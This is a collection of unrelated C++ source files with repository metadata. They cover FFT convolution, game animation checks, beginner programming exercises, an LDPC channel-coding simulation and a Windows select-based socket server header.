/FourierTransformation/Convolution.hpp
|
fda94b9536a8b9fa922f39a2ab6813b240756a32
|
[] |
no_license
|
yamada-ryosuke/ProConLibrary
|
dd1d1184dcc5e09ef84d8051e54d3e354ab92239
|
e75cf0ce516abf9392373ea3719711fd533bfc4c
|
refs/heads/master
| 2020-05-24T13:58:50.078014
| 2020-02-21T15:34:52
| 2020-02-21T15:34:52
| 187,298,883
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,017
|
hpp
|
Convolution.hpp
|
#include <bits/stdc++.h>
//////////////
// 畳み込み //
/////////////
class Convolution {
private:
using Real = long double; // doubleの方が大幅に速い
using Complex = std::complex<Real>;
using Vector = std::vector<Complex>;
int size_{1};
Vector power_;
Vector polynomial1_, polynomial2_;
// signが正ならDFT、負ならIDFT(1/N倍はされない)
template <int sign>
Vector DFT(const Vector& polynomial) const
{
Vector prev(size_), ret(polynomial);
for (int width{size_ >> 1}; width > 0; width >>= 1)
{
std::swap(prev, ret);
for (int begin{}; begin < width; begin++)
for (int i{}, power_i{sign > 0? 0: size_}; begin + i < size_; i += width, power_i += sign * width)
ret[begin + i] = prev[(begin + 2 * i) % size_] + power_[power_i] * prev[(begin + 2 * i + width) % size_];
}
return std::move(ret);
}
public:
Convolution(const std::vector<int64_t>& polynomial1, const std::vector<int64_t>& polynomial2)
{
while (size_ < (int)polynomial1.size() + (int)polynomial2.size() - 1) size_ <<= 1;
polynomial1_.resize(size_);
polynomial2_.resize(size_);
for (int i{}; i < (int)polynomial1.size(); i++)
polynomial1_[i].real(polynomial1[i]);
for (int i{}; i < (int)polynomial2.size(); i++)
polynomial2_[i].real(polynomial2[i]);
constexpr Real pi{3.1415926535897932384626433832795028841971};
power_.resize(size_ + 1);
for (int i{}; i <= size_; i++)
{
power_[i].real(std::cos(2 * pi / size_ * i));
power_[i].imag(std::sin(2 * pi / size_ * i));
}
}
std::vector<int64_t> operator()() const
{
const Vector fourierPolynomial1{DFT<1>(polynomial1_)}, fourierPolynomial2{DFT<1>(polynomial2_)};
Vector fourierPolynomial(size_);
for (int i{}; i < size_; i++)
fourierPolynomial[i] = fourierPolynomial1[i] * fourierPolynomial2[i];
const Vector convolution{DFT<-1>(fourierPolynomial)};
std::vector<int64_t> ret(size_);
for (int i{}; i < size_; i++)
ret[i] = std::round(convolution[i].real() / size_);
return std::move(ret);
}
};
|
fca49881dd3802a346cd2eb83ef59b0df4f770c3
|
0770d356aeac89873722c004dda96cb7497463cd
|
/Classes/GameTools/AnimateTools.cpp
|
04dcfcda1daab2e2dfa9a93e07fce25c21987249
|
[] |
no_license
|
37947538/Young3_7
|
687b0423618e7cd6b71c23d188d0c31d90f7726d
|
c661a4de162a5d153a737b19d2729991b698486c
|
refs/heads/master
| 2021-01-13T00:37:43.689432
| 2016-02-22T09:53:21
| 2016-02-22T09:53:21
| 52,246,063
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,836
|
cpp
|
AnimateTools.cpp
|
//
// AnimateTools.cpp
// Zombie3_4
//
// Created by jl on 15/8/19.
//
//
#include "AnimateTools.h"
#include "ActionFileModel.h"
//是否有攻击动画播放
bool AnimateTools::isAttackAnimatePlaying(BaseActionObject *bo)
{
auto actionModel=bo->getActionFileMode();
//连击1
if (bo->getAnimateState(actionModel->ActionAttackName1)==BaseActionObject::AnimateState::Runing) {
return true;
}
//连击2
if (bo->getAnimateState(actionModel->ActionAttackName2)==BaseActionObject::AnimateState::Runing) {
return true;
}
//连击3
if (bo->getAnimateState(actionModel->ActionAttackName3)==BaseActionObject::AnimateState::Runing) {
return true;
}
//连击4
if (bo->getAnimateState(actionModel->ActionAttackName4)==BaseActionObject::AnimateState::Runing) {
return true;
}
//连击5
if (bo->getAnimateState(actionModel->ActionAttackName5)==BaseActionObject::AnimateState::Runing) {
return true;
}
return false;
}
//技能播放
bool AnimateTools::isSkillAnimatePlaying(BaseActionObject *bo)
{
auto actionModel=bo->getActionFileMode();
//技能1
if (bo->getAnimateState(actionModel->SkillName1)==BaseActionObject::AnimateState::Runing) {
return true;
}
//技能2
if (bo->getAnimateState(actionModel->SkillName2)==BaseActionObject::AnimateState::Runing) {
return true;
}
//技能3
if (bo->getAnimateState(actionModel->SkillName3)==BaseActionObject::AnimateState::Runing) {
return true;
}
//技能4
if (bo->getAnimateState(actionModel->SkillName4)==BaseActionObject::AnimateState::Runing) {
return true;
}
return false;
}
//运行播放
bool AnimateTools::isRunAnimatePlaying(BaseActionObject *bo)
{
auto actionModel=bo->getActionFileMode();
//是否在跑动中
if (bo->getAnimateState(actionModel->ActionRunName)==BaseActionObject::AnimateState::Runing) {
return true;
}
return false;
}
//是否有被播放动画
bool AnimateTools::isBeAttackAnimatePlaying(BaseActionObject *bo)
{
auto actionModel=bo->getActionFileMode();
//是否在播放被打动画
if (bo->getAnimateState(actionModel->ActionBeAttack1)==BaseActionObject::AnimateState::Runing) {
return true;
}
//是否在播放被打动画
if (bo->getAnimateState(actionModel->ActionBeAttack2)==BaseActionObject::AnimateState::Runing) {
return true;
}
//是否在播放被打动画
if (bo->getAnimateState(actionModel->ActionBeAttack3)==BaseActionObject::AnimateState::Runing) {
return true;
}
//是否在播放被打动画
if (bo->getAnimateState(actionModel->ActionBeAttackDown)==BaseActionObject::AnimateState::Runing) {
return true;
}
return false;
}
|
61f82c648ce4a0d5a0ebe0b6eb1179226901f4e9
|
15410816be3bead66bff0fd86865e99ab6924266
|
/For/bintang2.cpp
|
d74565543ddb6cf548b462b5d9a72cd36039de58
|
[] |
no_license
|
fadillaharsa/Algoritma-Pemrograman
|
a264be7b41a440be0ed0d668db4ee5ad9ceae7dd
|
fa11f08bff7a380b2fca0c7f34319a2520b94397
|
refs/heads/master
| 2022-04-14T21:15:28.001401
| 2020-04-14T14:36:09
| 2020-04-14T14:36:09
| 255,634,269
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 612
|
cpp
|
bintang2.cpp
|
/*
TUGAS 02
Nama Program : Bintang Lancip Bawah
Nama : Muhammad Fadillah Arsa
NPM : 140810170005
Tanggal Pembuatan : 10 Oktober 2017
Deskripsi : Program penampil bintang lancip bawah dengan jumlah kolom sesuai input.
*******************************************************************************************
*/
#include <iostream>
using namespace std;
main()
{
int n;
cout<<"Masukkan Angka : ";
cin>>n;
for(int i=1; i<=n; i++)
{
for (int j=1; j<i; j++)
{
cout<<" ";
}
for (int k=n; k>=i; k--)
{
cout<<"*";
}
cout<<endl;
}
}
|
84ec6aa63a9f7e5b57d466a70085a7366e86190c
|
7aaf5943f7353925fb2da7fba68a39a3e6968c97
|
/lista1q4.cpp
|
b1aab7ec99355857b59babd972601812d682f550
|
[] |
no_license
|
ntsmoura/LAB1
|
24278f90a54ada5525fc3d08f429023889cccfd3
|
4b9cf26e5110268c8ab79ce5380f41f1bc0b9b9c
|
refs/heads/master
| 2022-03-19T04:53:50.431920
| 2019-11-22T18:55:25
| 2019-11-22T18:55:25
| 202,792,190
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 457
|
cpp
|
lista1q4.cpp
|
#include<iostream>
#include<vector>
#include<algorithm>
using namespace std;
int main(){
int n,nestatua;
cin >> n;
vector <int> estatuas;
for(int i = 0; i<n;i++){
cin >> nestatua;
estatuas.push_back(nestatua);
}
int somatorio=0;
sort(estatuas.begin(),estatuas.end());
for(int k =0; k<(n-1);k++){
int sub = estatuas[k+1]-estatuas[k];
somatorio+= sub-1;
}
cout << somatorio << endl;
}
|
22d8597a93cb29b230ff277ed2799e343fe00eae
|
60333fc90e15d2666548554b38390964f7be4b8b
|
/sandbox.cpp
|
93391e42ba80f872a3d1df3515b4e0c000940e83
|
[] |
no_license
|
jimimvp/problemzzz
|
a134c4fa15c83489c913772be7c3cf64de879259
|
c5bccf5400badae79b4eae5aa66bf0901f16397d
|
refs/heads/master
| 2021-09-11T17:04:38.354660
| 2016-06-24T13:03:16
| 2016-06-24T13:03:16
| 47,264,386
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 240
|
cpp
|
sandbox.cpp
|
#include <map>
#include <iostream>
int main(int argc, char** argv) {
int bits = 0;
int n = 0b110010001;
while(n != 0) {
if((n & 1) != 0) bits++;
n = n >> 1;
}
std::cout << std::endl << bits;
}
|
f53986bfcae13fef54a451c6877cb3dc6d97f395
|
3d036260f2dce2eee70e8d18c6fbab028195d2ef
|
/C++ sourse files/IAN_LDPC_SIMU.cpp
|
039c655cd99f0012eaa52cd5a1c40781eac36068
|
[] |
no_license
|
macknever/Interference-Management-Project
|
def179d3ab119258c325ba66206b7c99ad529af9
|
5c4496c1e1eb895f88e377dc6a92ad2ec012568c
|
refs/heads/master
| 2023-02-12T11:41:55.990545
| 2021-01-11T19:07:53
| 2021-01-11T19:07:53
| 259,426,525
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 5,500
|
cpp
|
IAN_LDPC_SIMU.cpp
|
/*This simulation is about 2 regular transmission which will interfere each other
and one always see the other interference as noise
y1 = alpha * x1 + gain2 * bet * x2 + N
y2 = bet * x2 + gain1 * alpha * x1 + N
*/
#include <itpp/itcomm.h>
#include <sstream>
#include "SWSC.h"
using namespace itpp;
using namespace std;
int main(int argc, char **argv)
{
// check arguments' validity
if (argc < 2){
it_info("Usage:"<<argv[0]<<"codec_file1.it codec_file2 [INR_dB].it");
return 1;
}
double INR_dB;
{
istringstream ss(argv[3]);
ss >> INR_dB;
}
// build a LDPC code from existing generator and parity check matrix
LDPC_Generator_Systematic G1;
LDPC_Code C1(argv[1],&G1);
C1.set_exit_conditions(250);
LDPC_Generator_Systematic G2;
LDPC_Code C2(argv[2],&G2);
C2.set_exit_conditions(200);
// calculate the each code's block length
int block_length1 = C1.get_nvar() - C1.get_ncheck();
int block_length2 = C2.get_nvar() - C2.get_ncheck();
// set block number
int block_num = 30;
// init 2 random message
bvec message1 = randb(block_num * block_length1);
bvec message2 = randb(block_num * block_length2);
bvec codeword1,codeword2;
BLERC blerc1,blerc2;
blerc1.set_blocksize(block_length1);
blerc2.set_blocksize(block_length2);
// set parameters of channel and the power of signal
QLLRvec llr1,llr2; // for soft_decoding
// modulation types
BPSK Mod;
// power of signal
double SNR1_dB = 10; // power(dB) of 1st user
double SNR2_dB = 10; // power(dB) of 2nd user
// double INR_dB = 0; // power(dB) of interference
// double N0_dB = pow(10,-SNR1_dB/10);
double N0 = 1;
cout << "N0:" << N0 << endl;
// double N0_dB = pow(10,-SNR1_dB/10);
AWGN_Channel awgn(N0);
// calculation
double p1 = pow(10,SNR1_dB/10); // power of 1st user
double p2 = pow(10,SNR2_dB/10); // power of 2nd user
double INR = pow(10,INR_dB/10);
double gain1 = sqrt(INR/p1); // channel gain calculated from INR
double gain2 = sqrt(INR/p2);
//gain1 = gain2 = 0;
// as the power of noise will be constant 1, so we need to set the coefficent of signals
// cuz after encoded they are all -1s and 1s
// alpha represents coefficient of x1
// bet represents coefficient of x2
// the representation above would be fixed through all simulations
// double alpha = sqrt(p1)*sqrt(5)/5; // 4PAM coefficient of x1
double alpha = sqrt(p1); // BPSK coefficient of x1
double bet = sqrt(p2); // coefficient of x2
// checking parameters
cout << "p1,p2:" << p1 << "," << p2 << endl;
cout << "INR:" << INR << endl;
cout << "gain1,gain2:" << gain1 << "," << gain2 << endl;
cout << "alpha,bet:" << alpha << "," << bet << endl;
// Step 1, encoding
// block by block
bvec block_codeword1,block_codeword2;
for (int k = 0;k < block_num; k++)
{
C1.encode(message1(k * block_length1,(k+1) * block_length1-1),block_codeword1);
codeword1 = concat(codeword1,block_codeword1);
C2.encode(message2(k * block_length2,(k+1) * block_length2-1),block_codeword2);
codeword2 = concat(codeword2,block_codeword2);
}
// Step 2, modulation
vec modulated_codeword1 = Mod.modulate_bits(codeword1);
vec modulated_codeword2 = Mod.modulate_bits(codeword2);
// Step 3, randomnize
// Step 4, transmission
// y1 = alpha * x1 + gain2 * bet * x2 + N
// y2 = bet * x2 + gain1 * alpha * x1 + N
vec received_codeword1 =
awgn(alpha * modulated_codeword1 + gain2 * bet * modulated_codeword2);
vec received_codeword2 =
awgn(bet * modulated_codeword2 + gain1 * alpha * modulated_codeword1);
// Step 5, demodulation
vec demoded_received_codeword1 = Mod.demodulate_soft_bits(received_codeword1,N0);
vec demoded_received_codeword2 = Mod.demodulate_soft_bits(received_codeword2,N0);
// Step 6, decoding
// block by block
bvec decoded_codeword1,decoded_codeword2;
for (int i = 0; i < block_num;i++)
{
// soft decode
// C1.bp_decode(C1.get_llrcalc().to_qllr(
// demoded_received_codeword1(i * C1.get_nvar(),(i+1) * C1.get_nvar()-1)),llr1);
// decoded_codeword1 = concat(decoded_codeword1,llr1(0,block_length1-1)<0);
// C2.bp_decode(C2.get_llrcalc().to_qllr(
// demoded_received_codeword2(i * C2.get_nvar(),(i+1) * C2.get_nvar()-1)),llr2);
// decoded_codeword2 = concat(decoded_codeword2,llr2(0,block_length2-1)<0);
// hard decode
bvec tmp_de1 = C1.decode(
demoded_received_codeword1(i * C1.get_nvar(),(i+1) * C1.get_nvar()-1));
decoded_codeword1 = concat(decoded_codeword1,tmp_de1);
bvec tmp_de2 = C2.decode(
demoded_received_codeword2(i * C2.get_nvar(),(i+1) * C2.get_nvar()-1));
decoded_codeword2 = concat(decoded_codeword2,tmp_de2);
}
// Step 7, check block error rate
blerc1.count(message1,decoded_codeword1);
blerc2.count(message2,decoded_codeword2);
cout << "block error rate of message1: " << blerc1.get_errorrate() << endl;
cout << "block error rate of message2: " << blerc2.get_errorrate() << endl;
return 0;
}
|
6b7d39cefddb0b9e3993f47eccc0a62a7ff43845
|
df2aa7d8d75687ce17bbaa27a4a74ff03cece415
|
/SelectServer.h
|
98f5aae2bc1060ff6f52724a127b19c30e106b0a
|
[] |
no_license
|
iamhatling/WindowsNfs
|
c8b4c702e38c2ef3fdc4be482c0642a5e71caa7a
|
5c1ec5603546366fc4810890d5a2eb3f802a0080
|
refs/heads/master
| 2022-01-20T00:14:22.779960
| 2019-08-04T16:45:13
| 2019-08-04T16:45:13
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 4,720
|
h
|
SelectServer.h
|
#pragma once
#include <SelectServerParams.h>
// Application can override the socket capacity for a single thread
#ifndef SELECT_THREAD_CAPACITY
#define SELECT_THREAD_CAPACITY 64
#endif
// Application can define this to enable verbose logging
//#define SELECT_THREAD_VERBOSE
// Application can define their own log callback
#ifndef SELECT_SERVER_LOG
#define SELECT_SERVER_LOG(fmt, ...)
#endif
struct SockSet
{
u_int count;
SOCKET array[SELECT_THREAD_CAPACITY];
void Add(SOCKET so)
{
array[count++] = so;
}
};
// After a select call a socket could be popped for a number of reasons.
// If it pops in the socket error set (exceptfds) it's handler will be called
// with POP_REASON_ERROR and will not be called again until the next select.
// If it pops with READ or WRITE, it's handler will be called once for each
// and it's handler will not be called again until the next select.
// The last case is the timeout case, where the handler will be called with POP_REASON_TIMEOUT.
enum PopReason
{
POP_REASON_TIMEOUT = 0,
POP_REASON_READ = 1,
POP_REASON_WRITE = 2,
POP_REASON_ERROR = 3,
};
class SelectServer;
class SelectSock;
class SynchronizedSelectServer;
class LockedSelectServer;
// TODO: I might be able to pass the LockedSelectServer to the callback, but I
// don't want it to enter/exit the critical sections
typedef void (*SelectSockHandler)(SynchronizedSelectServer server, SelectSock* sock, PopReason reason, char* sharedBuffer);
// Note: This data should only ever be modified by the select
// thread itself. If it isn't, then all types of synchronization
// will need to occur.
class SelectSock
{
friend class SelectServer;
public:
enum Flags : BYTE {
NONE = 0x00,
READ = 0x01,
WRITE = 0x02,
ERROR_ = 0x04,
ALL = (READ|WRITE|ERROR_),
};
enum _Timeout : DWORD {
INF = 0xFFFFFFFF,
};
SOCKET so;
void* user; // A user pointer
private:
SelectSockHandler handler;
// Use SelectSock::INF (which will be 0xFFFFFFFF) to indicate no timeout.
// Otherwise, this value indicates the number of milliseconds to wait before calling the
// handler again.
DWORD timeout;
// The tick count that indicates whether the socket is ready to time out
DWORD timeoutTickCount;
Flags flags;
SelectSock()
{
}
public:
SelectSock(SOCKET so, void* user, SelectSockHandler handler, Flags flags, DWORD timeout)
: so(so), user(user), handler(handler), flags(flags), timeout(timeout)
{
}
void UpdateHandler(SelectSockHandler handler)
{
this->handler = handler;
}
void UpdateEventFlags(Flags flags)
{
this->flags = flags;
}
void UpdateTimeout(DWORD millis)
{
this->timeout = millis;
}
};
class SelectServer
{
friend class SynchronizedSelectServer;
friend class LockedSelectServer;
private:
CRITICAL_SECTION criticalSection;
// NOTE: only read/modify inside critical section
// tracks how many sockets are being used plus how many
// socks will be added after the next select
// If this is set to 0, it means the SelectThread should shutdown
u_int socksReserved;
BYTE flags;
// All the active sockets will be packed to the start
// of the array, and any other threads can add sockets
// back adding then after the active sockets and incrementing
// the socksReserved field (inside the critical section of cource)
SelectSock socks[SELECT_THREAD_CAPACITY];
public:
enum Flags {
STOP_FLAG = 0x01,
};
SelectServer() : socksReserved(0), flags(0)
{
InitializeCriticalSection(&criticalSection);
}
~SelectServer()
{
DeleteCriticalSection(&criticalSection);
}
DWORD Run(char* sharedBuffer, size_t sharedBufferSize);
};
class SynchronizedSelectServer
{
friend class SelectServer;
protected:
SelectServer* server;
SynchronizedSelectServer(SelectServer* server) : server(server)
{
}
public:
void SetStopFlag()
{
server->flags |= SelectServer::STOP_FLAG;
}
u_int AvailableSocks()
{
return SELECT_THREAD_CAPACITY - server->socksReserved;
}
BOOL TryAddSock(const SelectSock& sock);
};
class LockedSelectServer : public SynchronizedSelectServer
{
public:
LockedSelectServer(SelectServer* server) : SynchronizedSelectServer(server)
{
EnterCriticalSection(&server->criticalSection);
SELECT_SERVER_LOG("locked");
}
~LockedSelectServer()
{
SELECT_SERVER_LOG("unlocked");
LeaveCriticalSection(&server->criticalSection);
}
};
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.